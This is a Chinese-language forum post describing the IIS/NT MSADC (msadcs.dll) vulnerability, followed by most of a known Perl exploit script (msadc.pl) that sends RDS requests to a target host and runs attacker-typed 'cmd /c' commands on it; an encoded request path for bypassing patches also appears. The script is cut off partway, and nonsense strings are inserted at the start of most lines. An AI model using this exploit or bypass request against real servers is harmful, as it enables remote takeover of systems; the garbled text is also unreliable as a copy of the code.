IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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<h+UC# .x 涉及程序:
/9SoVU8 Microsoft NT server
\AI-x$5R* 8yOhKEPX 描述:
o+k*ia~Fa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ZjY?T)WE9 A^hafBa 详细:
XLYGhM 如果你没有时间读详细内容的话,就删除:
>ZgV8X: c:\Program Files\Common Files\System\Msadc\msadcs.dll
`l70i2xcj 有关的安全问题就没有了。
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~]v'|5[ V4Qy^nn1 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
"85)2*+ /={N^8^=x 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
u^'X>n)oL# 关于利用ODBC远程漏洞的描述,请参看:
+o,f:Ih `{IL.9M!f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >^,?0HP ][//G|9 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
;2?fz@KZ http://www.microsoft.com/security/bulletins/MS99-025faq.asp XCyb[(4 m#_M"B.cm 这里不再论述。
&>Z;>6J, [\fwnS_1 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
E}0g 1jBIi /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~-sG&u> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
e*I92 iW9 6h&t%T #将下面这段保存为txt文件,然后: "perl -x 文件名"
\v{HjqVkC 5K&A2zC| #!perl
T~XKV`LQ #
3)e{{]6 # MSADC/RDS 'usage' (aka exploit) script
y=
8SD7P' #
`d/* sX?k # by rain.forest.puppy
(6}7z+ #
nsq7dhq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
T^$`Z. # beta test and find errors!
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o_`P3 -I*vl use Socket; use Getopt::Std;
+4qR5(W getopts("e:vd:h:XR", \%args);
>lJTS t5{ H|`D3z.c print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^e\$g2). 9R-2\D] if (!defined $args{h} && !defined $args{R}) {
d mTZEO print qq~
<wd;W;B Usage: msadc.pl -h <host> { -d <delay> -X -v }
?} E
M, -h <host> = host you want to scan (ip or domain)
-i91nMi] -d <seconds> = delay between calls, default 1 second
#Lk~{ -X = dump Index Server path table, if available
33~8@]b -v = verbose
z'O+B} -e = external dictionary file for step 5
k1P'Q&Na ]j*uD317 Or a -R will resume a command session
kPA g* '<e$ c ~; exit;}
4}*.0'Hz vwa*'C $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j`Ek : if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>xF&>SDC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
f4f)9n if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
aN,?a@B $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^e$!19g if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z7P~SM Qk|+Gj if (!defined $args{R}){ $ret = &has_msadc;
J5<16}* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KCp9P2kv. x",ktE>9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rmWsob . "cmd /c ";
CQ{{J{pU" $in=<STDIN>; chomp $in;
Vvfd?G" $command="cmd /c " . $in ;
68<W6z _sL;E<)y( if (defined $args{R}) {&load; exit;}
U(OkTJxv+ tt6GtYrC 1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G-:7,9 &try_btcustmr;
7>0/$i#'Vl n`jG[{3t& print "\nStep 2: Trying to make our own DSN...";
6T_Ya) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.SSyW{a3w |]Hr"saO0 print "\nStep 3: Trying known DSNs...";
+n%8*F& &known_dsn;
)7#3n(_np N
K@6U_/W print "\nStep 4: Trying known .mdbs...";
TnKOr~ @* &known_mdb;
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